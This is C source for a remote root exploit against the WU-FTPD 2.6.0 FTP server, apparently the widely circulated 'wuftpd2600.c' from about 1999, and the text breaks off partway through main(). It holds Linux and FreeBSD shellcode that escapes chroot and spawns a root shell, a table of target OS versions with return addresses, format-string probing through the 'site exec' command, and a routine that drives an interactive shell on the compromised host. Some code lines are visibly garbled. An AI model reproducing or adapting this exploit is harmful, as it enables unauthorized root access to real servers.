WuFTPD: Providing *remote* root since at least1994

/* - wuftpd2600.c

• VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
• WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
• by tf8
• NOTE: For ethical reasons, only an exploit for 2.6.0 will be

• released (2.6.0 is the most popular version nowadays), and it
  

• should suffice to proof this vulnerability concept.
  

• Site exec was never really fixed
• Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
• \x90, venglin, xz, MYT and lamagra.
• Also greetings go to the WU-FTPD development team for including this
• bug in ALL their versions.
• Fuck to wuuru (he is an idiot)
• Account is not required, anonymous access is enough :)
• BTW, exploit is broken to avoid kids usage ;)
• VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
  */
  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <sys/time.h>
  #include <netdb.h>
  #include <unistd.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <signal.h>
  #include <errno.h>

#ifdef __linux
#include <getopt.h>
#endif

#define MAKE_STR_FROM_RET(x)
((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"

char infin_loop[]= /* for testing purposes */
"\xEB\xFE";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";

char bsd_code_d[]= /* you should call it directly (no jump/call)*/
"\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

#define MAX_FAILED 4
#define MAX_MAGIC 100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;

struct targets {
int def;
char *os_descr, *shellcode;
int delay;
u_long pass_addr, addr_ret_addr;
int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};

struct targets targ[]={
{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.3 with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.4 with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
(test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},

    {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from

ports",bsdcode,10,0x80bb474-100,
0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
{1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from
packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
{0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from
ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,
{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
{0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from
packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
{0,NULL,NULL,0,0,0,{0},{0},0}
};

void usage(charzu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g]
[-h] [-x]\n"
" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target : host with any wuftpd\nuser : anonymous user\n"
"dir : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g : enables magic string
digging\n"
"-x : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr : this is pointer to shellcode\nsystypes: \n",zu);
for(i=0;targ[i].os_descr!=NULL;i++){
padding=0;
fprintf(stderr,"%s%2d - %s\n",targ[i].def?"":" ",i,targ[i].os_descr);
if(q>1){
fprintf(stderr," Magic ID: [");
for(n=0;targ[i].magic[n]!=0;n++){
if(targ[i].magic_d[n]==4)
padding=targ[i].magic[n];
fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
if(targ[i].magic[n+1]!=0)
fprintf(stderr,":");
}
fprintf(stderr,"] Padding: %d\n",padding);
fflush(stderr);
}
}
exit(1);
}

int connect_to_server(char*host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;

if(host==NULL||host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(1);
}
if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
if((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
}
memcpy((char)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
exit(1);
}
return sock;
}

int ftp_recv(int sock,char*buf,int buf_size,int disc){
int n=0;
char q;

if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
else {
(void)bzero(buf,buf_size);
n=recv(sock,buf,buf_size,0);
if(n<0){
fprintf(stderr,"ftp_recv: recv failed\n");
exit(1);
}
buf[n]=0;
}
return n;
}
int ftp_send(int sock,charwhat,int size,int f,charans,int ans_size){
int n;
n=send(sock,what,size,0);
if(n!=size){
fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
shutdown(sock,2);
close(sock);
exit(1);
}
if(f)
return ftp_recv(sock,ans,ans_size,0);
return 0;
}

int ftp_siteexec(int sock,charbuff,int buff_len,int q,charans,int ans_len){
ftp_send(sock,buff,buff_len,q,ans,ans_len);
if(strncmp(ans,"200-",4)==0)
ftp_recv(sock,NULL,0,1);
else
ftp_recv(sock,ans,ans_len,0);

if(strncmp(ans,"200-",4)){
fprintf(stderr,"Cannot find site exec response string\n");
exit(1);
}
return 0;
}

void ftp_login(int sock,charu_name,charu_pass)
{
char buff[2048];
printf("loggin into system…\n");
snprintf(buff,2047,"USER %s\r\n", u_name);
ftp_send(sock, buff,strlen(buff),1,buff,2047);
printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
snprintf(buff,2047,"PASS %s\r\n",u_pass);
printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
while(strstr(buff,"230 ")==NULL){
(void)bzero(buff,2048);
ftp_recv(sock,buff,2048,0);
}
printf("%s",buff);
return;
}

void ftp_mkchdir(int sock,charcd,charnew)
{
char buff[2048];

sprintf(buff,"CWD %s\r\n",cd);
printf(GREEN"%s"NORM,buff);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf("%s",buff);
sprintf(buff,"MKD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
sprintf(buff,"CWD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
return;
}
void process_possibly_rooted(int sock)
{
fd_set fd_read;
char buff[1024], *cmd=getit.islinux?"/bin/uname
-a;/usr/bin/id;exit\n":"/usr/bin/uname -a;/usr/bin/id;exit\n";
int n;

FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
if((n=recv(sock,buff,sizeof(buff),0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sock,buff,n,0)<0) break;
}
usleep(10);
}
fprintf(stderr,"Connection aborted, select failed()\n");
exit(0);
}

int magic_check_f(int sock, char *str) {
char q[2048], ans[2048];

snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big…\n");
exit(-1);
}
ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
if( before_len+10 < strlen(&ans[3]) ) return 0;
before_len=strlen(&ans[3]);
(void)strcat(str,"%.f");
return 1;
}
int magic_check_o(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big…\n");
exit(-1);
}
ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
if( before_len== strlen(&ans[3]) ) {
before_len+=1;
(void)strcat(str, "%d");
return 3;
}
before_len=strlen(&ans[3]);
(void)strcat(str,"%c");
return 2;
}

int magic_check_ok( int sock, char *str)
{
char q[2048], ans[2048];
int i ,n=1, f, padding=0;

snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
if ( strstr(q, "\r\n" ) == NULL) {
fprintf(stderr, "Line too long\n");
exit(-1);
}
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if(strstr(ans,"0x61616161")==NULL)
return 0;
for(i =0; i < MAX_MAGIC && magic[i]; i++);
magic_d[i]=4;
while(n){
for(f=0; f< 2; f++) {
snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if( strstr(ans, "0x61616161")!=NULL) {
if (f==0) {
magic[i]=padding;
return 1;
} else if( f==1) {
strcat(str,"%p");
magic[i]=padding;
return 1;
}
}
}
if(padding > 4) {
fprintf(stderr,"Cannot calculate padding…\n");
exit(1);
}
padding++;
}
return 1;
}

int magic_digger(int sock)
{
int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;

if(magic_str==NULL){
if((magic_str=(char*)malloc(4092))==NULL){
perror("malloc");
exit(errno);
}
}
(void)bzero(magic_str, 4092);
where=0;
while(get_out) {
int q;
if( where >= MAX_MAGIC-1 || all_failed <= 0 )
return -1;
if( magic_check_f(sock, magic_str) ) {
o=0,f++;
if(f==1){
if(!magic[where])
magic[where]=1;
else
magic[++where]+=1;
magic_d[where]=1;
} else
magic[where]+=1;
all_failed=MAX_FAILED2;
printf("%s", "%.f"); fflush(stdout);
goto verify;
}
all_failed–;
if((q=magic_check_o(sock,magic_str))){
f=0,o++;
if(o==1){
if(!magic[where])
magic[0]=1;
else
magic[++where]+=1;
magic_d[where]=q;
} else {
if(magic_d[where]==q)
magic[where]+=1;
else {
magic[++where]=1;
magic_d[where]=q;
}
}
all_failed=MAX_FAILED2;
printf("%s", q==2?"%c":"%d");
fflush(stdout);
goto verify;
}
all_failed–;
continue;
verify:
if(magic_check_ok(sock,magic_str)){
putchar('\n');
return 0;
}
}
return 0;
}

int main(int argc, char *argv[]){
char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
u_long ret_addr=0, pass_addr=0;
for(i=0;targ[i].os_descr!=NULL;i++);
while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
switch(c) {
case 't': target=optarg;break;
case 'l':
username=optarg;
passwd=strchr(optarg,'/');
if(passwd==NULL)
usage(argv[0],0);
*passwd++=(char)0;
break;
case 'x': testmode=1; break;
case 'o': offset=atoi(optarg);break;